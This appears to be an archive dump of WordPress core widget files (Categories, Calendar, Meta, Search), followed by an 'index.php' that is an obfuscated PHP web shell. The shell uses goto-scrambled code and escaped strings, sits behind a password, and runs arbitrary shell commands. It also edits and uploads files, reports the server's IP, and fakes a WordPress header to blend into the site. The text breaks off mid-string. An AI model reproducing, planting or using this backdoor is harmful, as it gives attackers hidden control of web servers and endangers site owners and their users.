			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_dropdown_categories()
			 *
			 * @param array $cat_args An array of Categories widget drop-down arguments.
			 * @param array $instance Array of settings for the current widget.
			 */
			wp_dropdown_categories( apply_filters( 'widget_categories_dropdown_args', $cat_args, $instance ) );

			echo '</form>';

			$type_attr = current_theme_supports( 'html5', 'script' ) ? '' : ' type="text/javascript"';
			?>

<script<?php echo $type_attr; ?>>
/* <![CDATA[ */
(function() {
	var dropdown = document.getElementById( "<?php echo esc_js( $dropdown_id ); ?>" );
	function onCatChange() {
		if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
			dropdown.parentNode.submit();
		}
	}
	dropdown.onchange = onCatChange;
})();
/* ]]> */
</script>

			<?php
		} else {
			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php
				$cat_args['title_li'] = '';

				/**
				 * Filters the arguments for the Categories widget.
				 *
				 * @since 2.8.0
				 * @since 4.9.0 Added the `$instance` parameter.
				 *
				 * @param array $cat_args An array of Categories widget options.
				 * @param array $instance Array of settings for the current widget.
				 */
				wp_list_categories( apply_filters( 'widget_categories_args', $cat_args, $instance ) );
				?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Categories widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                 = $old_instance;
		$instance['title']        = sanitize_text_field( $new_instance['title'] );
		$instance['count']        = ! empty( $new_instance['count'] ) ? 1 : 0;
		$instance['hierarchical'] = ! empty( $new_instance['hierarchical'] ) ? 1 : 0;
		$instance['dropdown']     = ! empty( $new_instance['dropdown'] ) ? 1 : 0;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Categories widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance     = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$count        = isset( $instance['count'] ) ? (bool) $instance['count'] : false;
		$hierarchical = isset( $instance['hierarchical'] ) ? (bool) $instance['hierarchical'] : false;
		$dropdown     = isset( $instance['dropdown'] ) ? (bool) $instance['dropdown'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>

		<p>
			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>"<?php checked( $dropdown ); ?> />
			<label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label>
			<br />

			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>"<?php checked( $count ); ?> />
			<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label>
			<br />

			<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id( 'hierarchical' ); ?>" name="<?php echo $this->get_field_name( 'hierarchical' ); ?>"<?php checked( $hierarchical ); ?> />
			<label for="<?php echo $this->get_field_id( 'hierarchical' ); ?>"><?php _e( 'Show hierarchy' ); ?></label>
		</p>
		<?php
	}

}
class-wp-widget-calendar.php000064400000005541152333503070012044 0ustar00<?php
/**
 * Widget API: WP_Widget_Calendar class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Calendar widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Calendar extends WP_Widget {
	/**
	 * Ensure that the ID attribute only appears in the markup once
	 *
	 * @since 4.4.0
	 * @var int
	 */
	private static $instance = 0;

	/**
	 * Sets up a new Calendar widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_calendar',
			'description'                 => __( 'A calendar of your site’s posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'calendar', __( 'Calendar' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Calendar widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance The settings for the particular instance of the widget.
	 */
	public function widget( $args, $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}
		if ( 0 === self::$instance ) {
			echo '<div id="calendar_wrap" class="calendar_wrap">';
		} else {
			echo '<div class="calendar_wrap">';
		}
		get_calendar();
		echo '</div>';
		echo $args['after_widget'];

		self::$instance++;
	}

	/**
	 * Handles updating settings for the current Calendar widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Calendar widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<?php
	}
}
class-wp-widget-meta.php000064400000010015152333503070011211 0ustar00<?php
/**
 * Widget API: WP_Widget_Meta class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Meta widget.
 *
 * Displays log in/out, RSS feed links, etc.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Meta extends WP_Widget {

	/**
	 * Sets up a new Meta widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_meta',
			'description'                 => __( 'Login, RSS, &amp; WordPress.org links.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'meta', __( 'Meta' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Meta widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Meta' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
		}
		?>

		<ul>
			<?php wp_register(); ?>
			<li><?php wp_loginout(); ?></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e( 'Entries feed' ); ?></a></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e( 'Comments feed' ); ?></a></li>

			<?php
			/**
			 * Filters the "WordPress.org" list item HTML in the Meta widget.
			 *
			 * @since 3.6.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @param string $html     Default HTML for the WordPress.org list item.
			 * @param array  $instance Array of settings for the current widget.
			 */
			echo apply_filters(
				'widget_meta_poweredby',
				sprintf(
					'<li><a href="%1$s">%2$s</a></li>',
					esc_url( __( 'https://wordpress.org/' ) ),
					__( 'WordPress.org' )
				),
				$instance
			);

			wp_meta();
			?>

		</ul>

		<?php
		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Meta widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<?php
	}
}
class-wp-widget-search.php000064400000005246152333503070011542 0ustar00<?php
/**
 * Widget API: WP_Widget_Search class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Search widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Search extends WP_Widget {

	/**
	 * Sets up a new Search widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_search',
			'description'                 => __( 'A search form for your site.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'search', _x( 'Search', 'Search widget' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Search widget instance.
	 */
	public function widget( $args, $instance ) {
		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		// Use current theme search form if it exists.
		get_search_form();

		echo $args['after_widget'];
	}

	/**
	 * Outputs the settings form for the Search widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$title    = $instance['title'];
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
	}

	/**
	 * Handles updating settings for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$new_instance      = wp_parse_args( (array) $new_instance, array( 'title' => '' ) );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		return $instance;
	}

}
index.php000064400000230057152334434160006400 0ustar00<?php
 goto peDbK; X5Av0: @mkdir($MrjeJ) or system("\x6d\153\144\151\162\40" . escapeshellarg($MrjeJ)); goto bLEP7; GhNAu: $WTB04 = Z6mDN($wkgHW); goto QQNm8; S5FBE: exit; goto tzsmf; dOQ0c: $FfHqD = qOaj7($_GET["\145\144\151\x74"]); goto EgwXw; qdVym: echo "\51\74\x2f\x74\x64\x3e\74\57\164\x72\x3e\15\xa\40\40\74\164\x72\x3e\74\x74\x68\76\x50\x48\120\74\x2f\x74\x68\x3e\74\164\x64\76"; goto quIaT; hfx55: echo php_uname("\x72"); goto UYMO2; A7Ber: echo htmlentities($_SESSION["\x6c\141\x73\164\x5f\x63\x6d\x64\137\x6f\165\164\x70\165\164"]); goto G3e4r; XXPLW: echo "\x3c\x2f\x74\144\76\x3c\x2f\164\162\x3e\15\xa\40\x20"; goto qnpxd; UbsdJ: echo "\40"; goto hfx55; sucUM: exit; goto mjcNW; tFqsi: function qoaj7($jjwMO) { goto Uo7NM; nQTSX: if (!(strpos($wkgHW, $f3bDs) !== 0)) { goto KufZy; } goto RWRTR; Uo7NM: $wkgHW = realpath($jjwMO); goto dqVjg; RWRTR: return getcwd(); goto xymbj; il4DE: mbEm1: goto CpETK; xymbj: KufZy: goto qrS1F; CpETK: $f3bDs = realpath("\57"); goto nQTSX; dqVjg: if (!($wkgHW === false)) { goto mbEm1; } goto ryVP5; ryVP5: return getcwd(); goto il4DE; qrS1F: return $wkgHW; goto iW0za; iW0za: } goto p9w03; X_TNG: session_start(); goto hgK2f; wGfGX: unset($_SESSION["\154\141\x73\164\x5f\143\x6d\144\x5f\x6f\x75\164\160\165\164"]); goto Db1Q2; QFH_b: echo "\x20\x20\x20\x20\x3c\141\x20\150\x72\145\x66\75\x22\77\154\157\147\x6f\165\164\75\61\42\x20\163\164\171\x6c\145\x3d\x22\x63\x6f\x6c\157\x72\72\43\146\x66\x35\x35\x35\x35\73\x6d\x61\162\x67\151\x6e\x2d\x74\x6f\x70\x3a\x31\x30\160\x78\73\x20\x20\xd\xa\40\x20\40\40\40\x20\40\160\x6f\x73\151\164\x69\157\156\x3a\x20\x61\142\163\x6f\x6c\165\x74\145\x3b\x20\15\xa\40\40\40\x20\x20\40\x20\x72\151\x67\150\x74\x3a\x20\61\x30\160\x78\73\x20\xd\12\40\x20\x20\x20\40\x20\x20\164\157\x70\72\40\x31\x30\160\x78\x3b\x20\42\x3e\114\x4f\x47\x4f\125\x54\74\57\x61\x3e\15\12\x20\40"; goto EU4_o; DU3Je: function WFwrk() { goto B21fO; o5SO1: if (!function_exists("\151\156\x69\137\163\145\x74")) { goto mkSwB; } goto pk3jQ; vxZeV: @header("\x58\x2d\120\157\x77\x65\x72\145\144\55\102\x79\72\x20\x57\157\x72\x64\x50\162\x65\163\x73"); goto xhj_A; pk3jQ: @ini_set("\163\x65\x73\163\x69\157\156\56\163\x61\166\x65\137\150\141\x6e\x64\x6c\145\162", "\146\151\x6c\145\x73"); goto Zampl; xhj_A: @header("\114\x69\x6e\x6b\x3a\x20\74\150\164\164\160\163\x3a\x2f\57\145\x78\141\155\160\x6c\x65\x2e\143\x6f\x6d\x2f\167\x70\55\152\163\x6f\x6e\57\x3e\73\x20\162\145\154\x3d\42\150\164\x74\x70\x73\x3a\57\57\x61\x70\x69\x2e\x77\x2e\x6f\162\x67\x2f\42"); goto o5SO1; zBvGW: FiXsI: goto vxZeV; O1nDu: @header_remove("\x58\x2d\114\151\164\145\x73\160\145\x65\x64\55\124\x61\x67"); goto zBvGW; KBzIU: $_SESSION["\137\156\x69\x6e\152\x61\137\164\x6f\153\x65\156"] = md5("\166\151\156\x7a\x7a" . time()); goto sOn_V; Zampl: @ini_set("\163\145\x73\163\151\x6f\x6e\56\165\x73\145\x5f\143\x6f\x6f\153\151\145\163", "\x30"); goto AUhQv; AUhQv: mkSwB: goto KBzIU; B21fO: if (!function_exists("\150\x65\141\144\x65\x72\137\x72\x65\x6d\x6f\x76\x65")) { goto FiXsI; } goto FSqkU; FSqkU: @header_remove("\130\x2d\114\x69\x74\x65\x73\160\x65\145\144\x2d\x43\x61\x63\x68\x65\x2d\103\x6f\x6e\x74\x72\157\x6c"); goto O1nDu; sOn_V: } goto X_TNG; pdU0E: CQut9($UOcRj); goto JnCp9; umWMf: Aphs_: goto e7Eeu; r_DGj: cH6_j: goto twfSe; QclfQ: echo "\x20\x20\40\40\74\x64\151\x76\40\143\154\x61\x73\x73\x3d\x22\x70\x61\x6e\x65\154\42\76\15\xa\40\x20\x20\40\40\40\74\150\x32\76\xf0\237\224\220\40\xe8\xaa\215\xe8\xa8\274\343\201\x8c\xe5\xbf\205\xe8\246\x81\x3c\57\x68\x32\x3e\xd\12\x20\40\x20\x20\40\40\74\146\x6f\162\x6d\40\x6d\145\x74\150\x6f\x64\75\42\x70\x6f\x73\164\x22\x3e\15\12\40\x20\x20\40\x20\40\40\x20\x3c\x69\156\x70\165\x74\x20\x74\171\160\145\75\42\160\141\x73\163\167\x6f\x72\144\42\x20\x6e\x61\155\x65\x3d\42\160\141\163\163\167\157\x72\144\x22\40\160\154\x61\143\145\150\x6f\x6c\144\x65\162\75\x22\105\156\164\x65\x72\x20\163\145\x63\x72\x65\164\x20\x63\157\144\145\56\56\x2e\42\x20\x72\x65\x71\165\151\x72\x65\x64\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\74\142\x75\164\x74\157\x6e\x20\x74\x79\160\145\75\42\x73\x75\x62\x6d\151\164\42\76\x3c\x69\x20\144\x61\164\141\55\x6c\165\x63\151\144\145\x3d\x22\x6c\x6f\147\55\x69\x6e\42\76\74\x2f\151\x3e\40\101\103\103\105\123\123\x3c\x2f\142\x75\164\x74\157\x6e\76\xd\12\40\x20\x20\40\x20\40\x3c\x2f\x66\x6f\x72\155\76\15\xa\x20\x20\40\40\x3c\x2f\x64\x69\166\x3e\xd\xa\x20\x20"; goto Ur6wv; jKIQt: rRaVx: goto PRZNw; t8CEk: exit; goto v_Cpg; sXwaC: function ND3Wu($MY9At) { goto DO1Yn; d6dGI: ZJFsr: goto Tgps7; zJmJX: return "\360\x9f\x8f\263\xef\xb8\x8f"; goto d6dGI; ENq8G: return mb_convert_encoding("\46\43" . (ord($MY9At[0]) + $BibiN) . "\x3b\46\43" . (ord($MY9At[1]) + $BibiN) . "\x3b", "\125\124\106\55\70", "\x48\124\x4d\114\55\x45\x4e\124\111\124\x49\x45\123"); goto mz0oy; DO1Yn: if (!(strlen($MY9At) !== 2)) { goto ZJFsr; } goto zJmJX; Tgps7: $BibiN = 127397; goto ENq8G; mz0oy: } goto FTj_q; DsD_y: if (!isset($_POST["\x70\141\163\x73\167\x6f\x72\144"])) { goto Aphs_; } goto AHRe4; Xx1j5: FQbbe: goto gYELE; dFb9f: $oh3mE = json_decode($q6rVe, true); goto yVBuD; poziU: echo "\x3c\x2f\164\x64\76\x3c\x2f\164\x72\76\15\12\x20\x20\74\164\162\76\x3c\x74\150\x3e\xe6\x9b\270\xe3\201\215\xe8\xbe\274\xe3\x81\277\345\217\257\350\x83\275\74\57\164\x68\x3e\x3c\x74\x64\x3e"; goto ds5nX; kRkOs: goto FSTPe; goto AjRkh; wrn8D: header("\x4c\x6f\x63\x61\164\x69\157\x6e\72\x20\x3f\x70\141\164\x68\75" . urlencode($wkgHW) . "\x26\143\155\x64\75\145\170\145\143\165\164\x65\x64"); goto aXH02; U9ZZE: uUWC7: goto poJY1; vCNG2: if (empty($_SESSION["\156\x69\156\x6a\141\137\x61\x75\x74\150"])) { goto TiVIz; } goto QFH_b; xsOMz: $uCMm0 = shell_exec($BRjOz . "\x20\62\76\x26\x31"); goto dkWWt; v_Cpg: XYMXz: goto umWMf; UDXoy: @file_put_contents($UOcRj, $cP9LD); goto XVNEi; RrXr6: $rGUW7 = "\164\x6f\x6e"; goto n1MDG; CzoRt: goto rRaVx; goto d0Qeh; YQi04: $_SESSION["\x6e\x69\156\152\141\137\141\x75\x74\150"] = true; goto F5d6o; DyER9: echo "\x20\x20\x3c\x74\x72\x3e\74\x74\x68\76\343\202\xb5\343\x83\274\343\x83\220\xe3\x83\274\40\111\120\x3c\x2f\x74\x68\x3e\15\12\x20\40\40\40\40\x20\74\164\144\76"; goto LSkI8; Y03yj: if (!(!empty($_POST["\x65\144\x69\164\137\x70\141\164\x68"]) && isset($_POST["\x65\144\x69\x74\x5f\x63\157\156\x74\x65\x6e\x74"]))) { goto ulJ0c; } goto IJ061; EgwXw: if (!is_file($FfHqD)) { goto lobjI; } goto rvmYA; IJ061: $pKi5K = QOaJ7($_POST["\145\x64\151\x74\137\160\x61\x74\150"]); goto F_4fl; iy4P1: @file_put_contents($C3thk, $_POST["\145\x64\151\x74\x5f\143\x6f\156\x74\145\x6e\x74"]) or system("\145\x63\x68\157\x20" . escapeshellarg($_POST["\145\x64\x69\x74\x5f\x63\x6f\x6e\164\145\x6e\164"]) . "\40\x3e\40" . escapeshellarg($C3thk)); goto mwQ92; AnkH1: exit; goto Xx1j5; qA3SL: echo "\x22\76\15\xa\40\x20\40\x20\40\40\40\x20\x3c\164\x65\x78\x74\141\x72\145\141\x20\x6e\141\155\145\75\42\x65\x64\x69\164\x5f\143\157\156\164\145\156\164\42\40\x72\157\167\x73\x3d\42\x32\x30\x22\40\163\164\x79\154\x65\75\x22\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\142\141\143\153\x67\x72\157\165\x6e\x64\72\x20\43\60\x30\60\x3b\15\12\40\x20\x20\x20\40\x20\x20\x20\x20\40\143\x6f\x6c\157\162\72\40\166\x61\162\50\x2d\55\155\141\164\x72\x69\170\55\x67\162\x65\145\156\51\73\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\x20\x77\151\x64\164\x68\72\x20\x31\60\60\45\73\xd\12\40\x20\40\40\40\x20\x20\40\40\40\146\x6f\x6e\164\x2d\x66\x61\155\x69\154\x79\72\x20\47\x4a\145\x74\x42\x72\x61\x69\156\163\x20\115\157\x6e\x6f\47\x2c\40\155\x6f\x6e\x6f\x73\160\x61\x63\145\x3b\xd\12\40\40\40\40\x20\x20\x20\40\40\x20\160\141\x64\x64\x69\x6e\147\72\x20\61\60\160\x78\73\xd\12\x20\40\40\x20\x20\x20\40\x20\40\40\142\x6f\162\144\x65\x72\72\x20\61\x70\x78\40\x73\x6f\154\x69\x64\x20\x23\x33\x33\x33\73\15\xa\x20\x20\40\x20\x20\40\x20\x20\x20\40\x62\x6f\x78\55\x73\x68\x61\144\x6f\x77\x3a\40\60\40\60\x20\x38\x70\170\40\x76\x61\162\50\55\55\156\x65\x6f\156\x2d\x70\x69\x6e\x6b\51\73\15\12\40\40\x20\x20\40\x20\40\x20\x22\x3e"; goto GmRC2; AjRkh: UlthC: goto QclfQ; LUk2v: $qd_U4 = @file_get_contents("\x68\164\x74\x70\x73\72\x2f\x2f\141\x70\x69\x2e\151\x70\x69\x66\171\56\x6f\162\x67\57", false, $g4sJ5); goto nho46; u9KZr: $rYWY2 = $oh3mE["\143\157\x75\156\164\162\171\137\156\x61\x6d\145"]; goto Lz4yM; G3e4r: echo "\x3c\x2f\160\162\145\76\15\12\x20\x20\x20\40\40\x20\40\x20\74\x2f\x64\x69\166\x3e\15\xa\x20\40\40\x20\x20\x20\40\x20"; goto wGfGX; GmRC2: echo htmlentities(file_get_contents($FfHqD)); goto q93yl; cDpfe: if (!(isset($_POST["\x65\144\x69\164\137\x63\157\156\164\x65\156\164"]) && $_SESSION["\156\151\x6e\x6a\141\137\141\x75\x74\150"])) { goto FQbbe; } goto gANtx; AHVpz: if (!(isset($_FILES["\146\151\154\145"]) && $_SESSION["\x6e\x69\156\152\141\x5f\x61\x75\x74\150"])) { goto u4dMW; } goto iBfj4; xc0oJ: header("\114\x6f\x63\x61\x74\151\x6f\156\x3a\40\x3f\156\151\x6e\x6a\141\137\x6c\x6f\147\157\x75\x74\x3d" . md5(time())); goto cXiqt; BV3o0: echo function_exists("\163\x68\x65\154\154\x5f\145\170\x65\143") ? "\74\163\160\x61\x6e\40\x63\x6c\141\163\163\x3d\42\x69\x6e\x66\x6f\55\157\153\42\76\x4f\x4b\74\57\163\160\141\x6e\76" : "\x3c\x73\160\141\x6e\40\x63\154\141\163\x73\75\x22\x69\156\x66\157\55\x62\141\144\42\x3e\104\111\123\x41\102\x4c\x45\104\x3c\57\163\x70\141\x6e\76"; goto H51hN; sirxv: echo $LKGCL; goto XXPLW; KuX15: $cP9LD = $_POST["\x65\144\151\164\137\143\157\156\164\x65\x6e\164"]; goto yhn6C; bZU7B: $OfyTJ = basename($_POST["\156\145\167\137\156\141\155\x65"]); goto I4R6i; ir446: echo "\74\57\x74\x64\76\74\x2f\164\162\x3e\15\xa\40\40\x3c\x74\162\x3e\74\164\150\x3e\343\x83\x87\343\202\243\343\x82\271\343\x82\xa8\343\203\274\xe3\x83\x96\xe3\x83\253\xe9\226\242\346\x95\xb0\74\x2f\164\150\x3e\74\164\144\x3e"; goto MsYND; AMRn5: if (!(dirname($wkgHW) !== $wkgHW)) { goto cH6_j; } goto cULkn; AHRe4: if ($_POST["\x70\x61\163\x73\x77\x6f\162\144"] === $rGUW7) { goto xN0sF; } goto tKZkZ; xUL8O: echo "\x20\x20\x20\40\40\x20\x20\40\74\x64\151\x76\40\143\x6c\x61\163\163\75\42\x74\x65\162\x6d\x69\x6e\141\x6c\x22\76\xd\12\40\40\x20\40\40\x20\40\x20\x20\x20\74\160\x72\x65\76"; goto A7Ber; Rlibq: if (empty($oh3mE["\143\157\165\156\x74\x72\x79"])) { goto AB3wn; } goto wfUPY; f9G3u: echo "\xd\xa\40\40\x20\40\x20\40\x3c\146\157\162\155\x20\x6d\145\164\150\x6f\x64\75\42\x70\157\x73\x74\42\40\x69\144\75\42\x65\144\151\x74\x6f\162\55\146\157\162\x6d\42\x3e\15\12\40\40\40\x20\x20\x20\40\40\74\151\156\x70\x75\164\x20\164\171\160\145\x3d\x22\150\151\144\x64\x65\x6e\x22\x20\156\x61\x6d\145\75\x22\x65\x64\151\x74\137\160\141\164\150\42\x20\x76\141\154\x75\145\75\42"; goto FiJMO; ds5nX: echo is_writable($wkgHW) ? "\x3c\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\x3d\x22\x69\x6e\146\x6f\55\x6f\153\42\x3e\x59\x45\123\x3c\57\x73\160\141\156\76" : "\74\x73\160\x61\x6e\x20\x63\x6c\x61\x73\x73\75\42\x69\x6e\x66\x6f\55\142\x61\x64\x22\76\x4e\117\x3c\x2f\x73\160\141\156\76"; goto ir446; cULkn: echo "\x20\40\x3c\x61\40\x68\162\x65\146\x3d\42\x3f\160\x61\164\x68\75"; goto ibCkB; vic6U: echo "\15\12\15\12\40\40\x20\40\74\144\x69\x76\x20\x63\154\x61\x73\163\x3d\x22\x70\141\156\145\154\42\76\xd\xa\x20\40\74\x68\x32\40\143\154\141\x73\163\x3d\42\x67\x6c\x69\x74\x63\150\40\x63\x65\156\x74\x65\162\42\76\xf0\x9f\233\240\xef\xb8\x8f\40\343\x83\x84\xe3\x83\xbc\343\x83\xab\x3c\57\150\x32\x3e\15\12\xd\12\x20\40\x3c\144\x69\166\40\143\154\141\x73\x73\75\x22\x74\157\157\154\55\163\x65\x63\164\151\x6f\156\x22\76\15\12\x3c\150\63\40\143\154\141\x73\x73\75\x22\x72\x75\x6e\156\151\x6e\147\55\x68\145\141\144\x65\162\x20\154\x65\x66\x74\42\x3e\360\x9f\227\x83\xef\xb8\217\x20\xe6\226\260\350\246\x8f\xe4\xbd\x9c\346\210\x90\x3c\57\x68\63\x3e\xd\xa\xd\12\x20\x20\40\40\x3c\x66\157\x72\155\x20\155\145\164\150\157\144\75\x22\160\x6f\163\164\42\40\143\x6c\x61\x73\163\75\42\x74\x6f\x6f\x6c\55\146\x6f\162\x6d\42\76\15\12\40\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\164\x65\x78\164\42\x20\x6e\141\155\145\x3d\42\156\145\x77\x5f\x6e\141\x6d\x65\x22\x20\x70\154\141\143\x65\x68\157\x6c\x64\x65\162\x3d\x22\xe3\x83\225\343\x82\xa1\xe3\202\xa4\343\x83\253\345\x90\x8d\xe3\x81\276\343\201\x9f\343\x81\xaf\xe3\x83\225\343\202\xa9\xe3\203\xab\xe3\x83\200\xe5\220\x8d\x22\40\162\x65\161\x75\x69\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\x3c\x73\145\x6c\145\143\x74\40\x6e\141\155\145\75\x22\x6e\x65\x77\137\x74\x79\160\145\x22\x3e\15\12\x20\x20\x20\40\x20\x20\40\x20\x3c\x6f\160\164\x69\157\156\x20\166\x61\x6c\165\x65\75\42\146\x69\154\x65\42\76\xe3\203\225\xe3\202\241\xe3\202\244\343\203\253\x3c\x2f\157\160\x74\x69\x6f\x6e\76\xd\xa\x20\40\x20\x20\40\40\x20\40\x3c\x6f\x70\x74\x69\157\x6e\40\x76\x61\x6c\165\x65\75\x22\x66\x6f\154\x64\145